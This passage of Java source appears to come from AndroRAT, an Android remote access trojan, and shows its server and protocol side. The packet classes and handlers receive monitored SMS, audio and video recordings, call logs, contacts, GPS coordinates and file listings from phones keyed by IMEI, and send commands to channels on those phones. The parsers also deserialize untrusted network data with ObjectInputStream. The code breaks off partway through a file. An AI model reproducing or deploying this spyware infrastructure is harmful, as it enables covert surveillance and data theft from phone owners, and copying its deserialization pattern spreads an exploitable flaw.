36 | gui.addMonitoredSMS(imei, packet.getAddress(), packet.getDate(), packet.getBody());
37 | }
38 |
39 | }
40 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/SoundHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import gui.GUI;
4 | import server.Server;
5 | import Packet.Packet;
6 | import Packet.RawPacket;
7 |
8 | public class SoundHandler implements PacketHandler {
9 |
10 | private GUI gui;
11 | private int channel;
12 | private String imei;
13 |
14 | public SoundHandler(int channel, String imei, GUI gui) {
15 | this.gui = gui;
16 | this.channel = channel;
17 | this.imei = imei;
18 | }
19 |
20 | @Override
21 | public void receive(Packet p, String imei) {
22 | // TODO Auto-generated method stub
23 | }
24 |
25 | @Override
26 | public void handlePacket(Packet p, String temp_imei, Server c) {
27 | gui.logTxt("Sound data has been received");
28 | c.getChannelHandlerMap().get(imei).getStorage(channel).reset();
29 | RawPacket packet = (RawPacket) p;
30 | gui.addSoungBytes(imei, packet.getData());
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/VideoHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import gui.GUI;
4 | import server.Server;
5 | import Packet.Packet;
6 | import Packet.RawPacket;
7 |
8 | public class VideoHandler implements PacketHandler {
9 |
10 | private GUI gui;
11 | private int channel;
12 | private String imei;
13 |
14 | public VideoHandler(int channel, String imei, GUI gui) {
15 | this.gui = gui;
16 | this.channel = channel;
17 | this.imei = imei;
18 | }
19 |
20 | @Override
21 | public void receive(Packet p, String imei) {
22 | // TODO Auto-generated method stub
23 |
24 | }
25 |
26 | @Override
27 | public void handlePacket(Packet p, String temp_imei, Server c) {
28 | gui.logTxt("Video data has been received");
29 | c.getChannelHandlerMap().get(imei).getStorage(channel).reset();
30 | RawPacket packet = (RawPacket) p;
31 | gui.addVideoBytes(imei, packet.getData());
32 | }
33 |
34 | }
35 |
--------------------------------------------------------------------------------
/src/InOut/Packet/CallLogPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectInputStream;
7 | import java.io.ObjectOutputStream;
8 | import java.util.ArrayList;
9 |
10 | public class CallLogPacket implements Packet{
11 |
12 | private ArrayList list;
13 |
14 | public CallLogPacket() {
15 |
16 | }
17 |
18 | public CallLogPacket(ArrayList ar) {
19 | list = ar;
20 | }
21 |
22 | public byte[] build() {
23 | try {
24 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
25 | ObjectOutputStream out = new ObjectOutputStream(bos);
26 | out.writeObject(list);
27 | return bos.toByteArray();
28 | } catch (IOException e) {
29 | return null;
30 | }
31 | }
32 |
33 | public void parse(byte[] packet) {
34 | ByteArrayInputStream bis = new ByteArrayInputStream(packet);
35 | ObjectInputStream in;
36 | try {
37 | in = new ObjectInputStream(bis);
38 | list = (ArrayList) in.readObject();
39 | } catch (Exception e) {
40 | }
41 | }
42 |
43 | public ArrayList getList() {
44 | return list;
45 | }
46 | }
--------------------------------------------------------------------------------
/src/InOut/Packet/CallStatusPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class CallStatusPacket implements Packet{
6 |
7 | int type;
8 | /*
9 | * 1 -> Incoming call
10 | * 2 -> Missed call
11 | * 3 -> Call accepted
12 | * 4 -> Call send
13 | * 5 -> Hang Up
14 | *
15 | */
16 | String phonenumber;
17 |
18 | public CallStatusPacket() {
19 |
20 | }
21 |
22 | public CallStatusPacket(int type, String phone) {
23 | this.type = type;
24 | this.phonenumber = phone;
25 | }
26 |
27 | public byte[] build() {
28 | ByteBuffer b;
29 | if(phonenumber == null) {
30 | b = ByteBuffer.allocate(4);
31 | b.putInt(type);
32 | }
33 | else {
34 | b = ByteBuffer.allocate(4+phonenumber.length());
35 | b.putInt(type);
36 | b.put(phonenumber.getBytes());
37 | }
38 | return b.array();
39 | }
40 |
41 | public void parse(byte[] packet) {
42 | ByteBuffer b= ByteBuffer.wrap(packet);
43 | this.type = b.getInt();
44 | if(b.hasRemaining()) {
45 | byte[] tmp = new byte[b.remaining()];
46 | b.get(tmp);
47 | this.phonenumber = new String(tmp);
48 | }
49 | else
50 | this.phonenumber = null;
51 | }
52 |
53 | public int getType() {
54 | return type;
55 | }
56 |
57 | public String getPhonenumber() {
58 | return phonenumber;
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/src/InOut/Packet/CommandPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class CommandPacket implements Packet {
6 | private short commande;
7 | private int targetChannel;
8 | private byte[] argument;
9 |
10 | public CommandPacket() {
11 |
12 | }
13 |
14 | public CommandPacket(short cmd, int targetChannel, byte[] arg) {
15 | this.commande = cmd;
16 | this.argument = arg;
17 | this.targetChannel = targetChannel;
18 | }
19 |
20 | public void parse(byte[] packet) {
21 | ByteBuffer b = ByteBuffer.wrap(packet);
22 | this.commande = b.getShort();
23 | this.targetChannel = b.getInt();
24 | this.argument = new byte[b.remaining()];
25 | b.get(argument, 0, b.remaining());
26 | }
27 |
28 | public void parse(ByteBuffer b) {
29 | this.commande = b.getShort();
30 | this.targetChannel = b.getInt();
31 | this.argument = new byte[b.remaining()];
32 | b.get(argument, 0, b.remaining());
33 | }
34 |
35 | public byte[] build() {
36 | byte[] byteCmd = ByteBuffer.allocate(2).putShort(commande).array();
37 | byte[] byteTargChan = ByteBuffer.allocate(4).putInt(targetChannel).array();
38 | byte[] cmdToSend = new byte[byteCmd.length + byteTargChan.length + argument.length];
39 |
40 | System.arraycopy(byteCmd, 0, cmdToSend, 0, byteCmd.length);
41 | System.arraycopy(byteTargChan, 0, cmdToSend, byteCmd.length, byteTargChan.length);
42 | System.arraycopy(argument, 0, cmdToSend, byteCmd.length + byteTargChan.length, argument.length);
43 |
44 | return cmdToSend;
45 | }
46 |
47 | public short getCommand() {
48 | return commande;
49 | }
50 |
51 | public byte[] getArguments() {
52 | return argument;
53 | }
54 |
55 | public int getTargetChannel() {
56 | return targetChannel;
57 | }
58 |
59 | }
60 |
--------------------------------------------------------------------------------
/src/InOut/Packet/ContactsPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectInputStream;
7 | import java.io.ObjectOutputStream;
8 | import java.util.ArrayList;
9 |
10 | import utils.Contact;
11 |
12 | public class ContactsPacket implements Packet{
13 |
14 | ArrayList list;
15 |
16 | public ContactsPacket() {
17 |
18 | }
19 |
20 | public ContactsPacket(ArrayList ar) {
21 | list = ar;
22 | }
23 |
24 | public byte[] build() {
25 | try {
26 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
27 | ObjectOutputStream out = new ObjectOutputStream(bos);
28 | out.writeObject(list);
29 | return bos.toByteArray();
30 | } catch (IOException e) {
31 | return null;
32 | }
33 | }
34 |
35 | public void parse(byte[] packet) {
36 | ByteArrayInputStream bis = new ByteArrayInputStream(packet);
37 | ObjectInputStream in;
38 | try {
39 | in = new ObjectInputStream(bis);
40 | list = (ArrayList) in.readObject();
41 | } catch (Exception e) {
42 | }
43 | }
44 |
45 | public ArrayList getList() {
46 | return list;
47 | }
48 | }
--------------------------------------------------------------------------------
/src/InOut/Packet/FilePacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class FilePacket implements Packet {
6 |
7 | byte[] data;
8 | byte mf;
9 | short numSeq;
10 |
11 | public FilePacket() {
12 |
13 | }
14 |
15 | public FilePacket(short num, byte mf, byte[] data) {
16 | this.data = data;
17 | this.numSeq = num;
18 | this.mf = mf;
19 | }
20 |
21 | public byte[] build() {
22 | ByteBuffer b = ByteBuffer.allocate(data.length+3);
23 | b.putShort(numSeq);
24 | b.put(mf);
25 | b.put(data);
26 | return b.array();
27 | }
28 |
29 | public void parse(byte[] packet) {
30 | ByteBuffer b = ByteBuffer.wrap(packet);
31 |
32 | numSeq = b.getShort();
33 | mf = b.get();
34 | this.data = new byte[b.remaining()];
35 | b.get(data, 0, b.remaining());
36 | }
37 |
38 | public byte[] getData() {
39 | return data;
40 | }
41 |
42 | public byte getMf() {
43 | return mf;
44 | }
45 |
46 | public short getNumSeq() {
47 | return numSeq;
48 | }
49 |
50 | }
51 |
--------------------------------------------------------------------------------
/src/InOut/Packet/FileTreePacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectInputStream;
7 | import java.io.ObjectOutputStream;
8 | import java.util.ArrayList;
9 | import utils.MyFile;
10 |
11 | public class FileTreePacket implements Packet{
12 |
13 | private ArrayList list;
14 |
15 | public FileTreePacket() {
16 |
17 | }
18 |
19 | public FileTreePacket(ArrayList ar) {
20 | list = ar;
21 | }
22 |
23 | public byte[] build() {
24 | try {
25 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
26 | ObjectOutputStream out = new ObjectOutputStream(bos);
27 | out.writeObject(list);
28 | return bos.toByteArray();
29 | } catch (IOException e) {
30 | return null;
31 | }
32 | }
33 |
34 | public void parse(byte[] packet) {
35 | ByteArrayInputStream bis = new ByteArrayInputStream(packet);
36 | ObjectInputStream in;
37 | try {
38 | in = new ObjectInputStream(bis);
39 | list = (ArrayList) in.readObject();
40 | } catch (Exception e) {
41 | }
42 | }
43 |
44 | public ArrayList getList() {
45 | return list;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/InOut/Packet/GPSPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class GPSPacket implements Packet
6 | {
7 |
8 | private double longitude;
9 | private double latitude;
10 | private double altitude;
11 | private float speed;
12 | private float accuracy;
13 |
14 |
15 | public GPSPacket()
16 | {
17 |
18 | }
19 |
20 | public GPSPacket(double lat, double lon, double alt, float speed, float acc)
21 | {
22 | this.latitude = lat ;
23 | this.longitude = lon ;
24 | this.altitude = alt;
25 | this.speed = speed;
26 | this.accuracy = acc;
27 | }
28 |
29 | public byte[] build()
30 | {
31 | ByteBuffer b = ByteBuffer.allocate(32);
32 | System.out.println("Longitude : "+longitude);
33 | b.putDouble(this.longitude);
34 | b.putDouble(this.latitude);
35 | b.putDouble(this.altitude);
36 | b.putFloat(this.speed);
37 | b.putFloat(this.accuracy);
38 | return b.array();
39 | }
40 |
41 | public void parse(byte[] packet)
42 | {
43 | ByteBuffer b = ByteBuffer.wrap(packet);
44 | this.longitude = b.getDouble();
45 | this.latitude = b.getDouble();
46 | this.altitude = b.getDouble();
47 | this.speed = b.getFloat();
48 | this.accuracy = b.getFloat();
49 | }
50 |
51 |
52 |
53 | public double getLongitude()
54 | {
55 | return longitude;
56 | }
57 |
58 | public double getLatitude()
59 | {
60 | return latitude;
61 | }
62 |
63 | public double getAltitude()
64 | {
65 | return altitude;
66 | }
67 |
68 | public float getSpeed()
69 | {
70 | return speed;
71 | }
72 |
73 | public float getAccuracy()
74 | {
75 | return accuracy;
76 | }
77 |
78 | }
79 |
--------------------------------------------------------------------------------
/src/InOut/Packet/LogPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class LogPacket implements Packet {
6 |
7 | long date;
8 | byte type; //0 ok / 1 Error
9 | String message;
10 |
11 | public LogPacket() {
12 |
13 | }
14 |
15 | public LogPacket(long date, byte type, String message) {
16 | this.date = date;
17 | this.type = type;
18 | this.message = message;
19 | }
20 |
21 | public byte[] build() {
22 | ByteBuffer b = ByteBuffer.allocate(9+message.length());
23 | b.putLong(date);
24 | b.put(type);
25 | b.put(message.getBytes());
26 | return b.array();
27 | }
28 |
29 | public void parse(byte[] packet) {
30 | ByteBuffer b = ByteBuffer.wrap(packet);
31 | date = b.getLong();
32 | type = b.get();
33 | byte[] tmp = new byte[b.remaining()];
34 | b.get(tmp);
35 | message = new String(tmp);
36 | }
37 |
38 | public long getDate() {
39 | return date;
40 | }
41 |
42 | public byte getType() {
43 | return type;
44 | }
45 |
46 | public String getMessage() {
47 | return message;
48 | }
49 |
50 | }
51 |
--------------------------------------------------------------------------------
/src/InOut/Packet/Packet.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | public interface Packet
4 | {
5 | public byte[] build();
6 |
7 | public void parse(byte[] packet);
8 | }
--------------------------------------------------------------------------------
/src/InOut/Packet/RawPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | public class RawPacket implements Packet {
4 |
5 | private byte[] data;
6 |
7 | public RawPacket() {
8 | // Nothing
9 | }
10 |
11 | public RawPacket(byte[] data) {
12 | this.data = data;
13 | }
14 |
15 | public byte[] build() {
16 | return data;
17 | }
18 |
19 | public void parse(byte[] packet) {
20 | data = packet;
21 | }
22 |
23 | public byte[] getData() {
24 | return data;
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/src/InOut/Packet/SMSTreePacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectInputStream;
7 | import java.io.ObjectOutputStream;
8 | import java.util.ArrayList;
9 |
10 | public class SMSTreePacket implements Packet{
11 |
12 | ArrayList list;
13 |
14 | public SMSTreePacket() {
15 |
16 | }
17 |
18 | public SMSTreePacket(ArrayList ar) {
19 | list = ar;
20 | }
21 |
22 | public byte[] build() {
23 | try {
24 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
25 | ObjectOutputStream out = new ObjectOutputStream(bos);
26 | out.writeObject(list);
27 | return bos.toByteArray();
28 | } catch (IOException e) {
29 | return null;
30 | }
31 | }
32 |
33 | public void parse(byte[] packet) {
34 | ByteArrayInputStream bis = new ByteArrayInputStream(packet);
35 | ObjectInputStream in;
36 | try {
37 | in = new ObjectInputStream(bis);
38 | list = (ArrayList) in.readObject();
39 | } catch (Exception e) {
40 | }
41 | }
42 |
43 | public ArrayList getList() {
44 | return list;
45 | }
46 | }
--------------------------------------------------------------------------------
/src/InOut/Packet/ShortSMSPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class ShortSMSPacket implements Packet{
6 |
7 | private int address_size;
8 | private String address;
9 | private long date;
10 | private int body_size;
11 | private String body;
12 |
13 | public ShortSMSPacket() {
14 |
15 | }
16 |
17 | public ShortSMSPacket(String ad, long dat, String body) {
18 | this.address = ad;
19 | this.address_size = ad.length();
20 | this.date = dat;
21 | this.body = body;
22 | this.body_size = this.body.length();
23 | }
24 |
25 |
26 | public byte[] build() {
27 | ByteBuffer b = ByteBuffer.allocate(4+4+address.length()+4+4+8+4+body.length()+4);
28 | b.putInt(address_size);
29 | b.put(address.getBytes());
30 | b.putLong(date);
31 | b.putInt(body_size);
32 | b.put(body.getBytes());
33 | return b.array();
34 | }
35 |
36 | public void parse(byte[] packet) {
37 | ByteBuffer b = ByteBuffer.wrap(packet);
38 | this.address_size = b.getInt();
39 | byte[] tmp = new byte[address_size];
40 | b.get(tmp);
41 | this.address = new String(tmp);
42 | this.date = b.getLong();
43 | this.body_size = b.getInt();
44 | tmp = new byte[body_size];
45 | b.get(tmp);
46 | this.body = new String(tmp);
47 | }
48 |
49 | public String getAddress() {
50 | return address;
51 | }
52 |
53 | public long getDate() {
54 | return date;
55 | }
56 |
57 | public String getBody() {
58 | return body;
59 | }
60 | }
--------------------------------------------------------------------------------
/src/InOut/in/Demux.java:
--------------------------------------------------------------------------------
1 | package in;
2 |
3 | import Packet.TransportPacket;
4 | import inout.Controler;
5 | import inout.Protocol;
6 | import java.nio.ByteBuffer;
7 |
8 | public class Demux {
9 | // acces au controler
10 | private Controler controler;
11 |
12 | // un packet
13 | private TransportPacket p;
14 |
15 |
16 | // l'identifiant du client
17 | private String imei;
18 |
19 | // le buffer de lecture
20 | private ByteBuffer buffer;
21 |
22 | // variables de controle
23 | private boolean partialDataExpected, reading;
24 |
25 | public Demux(Controler s, String i) {
26 | imei = i;
27 | controler = s;
28 | reading = true;
29 | partialDataExpected = false;
30 |
31 | }
32 |
33 | public boolean receive(ByteBuffer buffer) throws Exception
34 | {
35 |
36 | while (reading) {
37 |
38 |
39 | if(!partialDataExpected)
40 | //si on n'attend pas de donn�es partielles(dans le cas d'un paquet pas re�ue enti�rement)
41 | {
42 | // si la taille du buffer est insuffisante
43 | if ((buffer.limit() - buffer.position()) < Protocol.HEADER_LENGTH_DATA)
44 | {
45 |
46 | return true;
47 | }
48 | }
49 |
50 | // dans le cas d'un paquet partiellement recue
51 | if (partialDataExpected)
52 | partialDataExpected = p.parseCompleter(buffer);
53 | else
54 | {
55 | p = new TransportPacket();
56 | partialDataExpected = p.parse(buffer);
57 | }
58 |
59 |
60 |
61 | if (partialDataExpected)
62 | return true;
63 | else
64 | controler.Storage(p, imei);
65 |
66 | }
67 |
68 |
69 | reading = true;
70 | return true;
71 | }
72 |
73 | public void setImei(String i) {
74 | imei = i;
75 | }
76 |
77 | }
78 |
--------------------------------------------------------------------------------
/src/InOut/in/Receiver.java:
--------------------------------------------------------------------------------
1 | package in;
2 |
3 | import java.io.IOException;
4 | import java.io.InputStream;
5 | import java.net.Socket;
6 | import java.net.SocketException;
7 | import java.nio.ByteBuffer;
8 | import java.nio.channels.SocketChannel;
9 | import java.util.concurrent.BlockingQueue;
10 | import java.util.concurrent.LinkedBlockingQueue;
11 |
12 | import inout.Protocol;
13 |
14 | public class Receiver {
15 |
16 | private Socket socket;
17 | private byte[] received_data;
18 | private ByteBuffer buffer;
19 | private InputStream is;
20 |
21 | public Receiver(Socket s) throws IOException {
22 | socket = s;
23 | is = socket.getInputStream();
24 |
25 | received_data = new byte[Protocol.MAX_PACKET_SIZE];
26 | buffer = ByteBuffer.allocate(Protocol.MAX_PACKET_SIZE);
27 | }
28 |
29 | public ByteBuffer read() throws IOException, SocketException { // A supprimer !
30 | int n = 0;
31 |
32 | n = is.read(received_data);
33 |
34 | buffer.clear();
35 | buffer = ByteBuffer.wrap(received_data, 0, n);
36 | //System.out.println("data has been read:" + buffer.limit());
37 |
38 | return buffer;
39 | }
40 |
41 | public ByteBuffer read(ByteBuffer b) throws IOException, SocketException {
42 | int n = 0;
43 |
44 | byte[] theRest = null;
45 |
46 | if(b.position()>0 && b.position()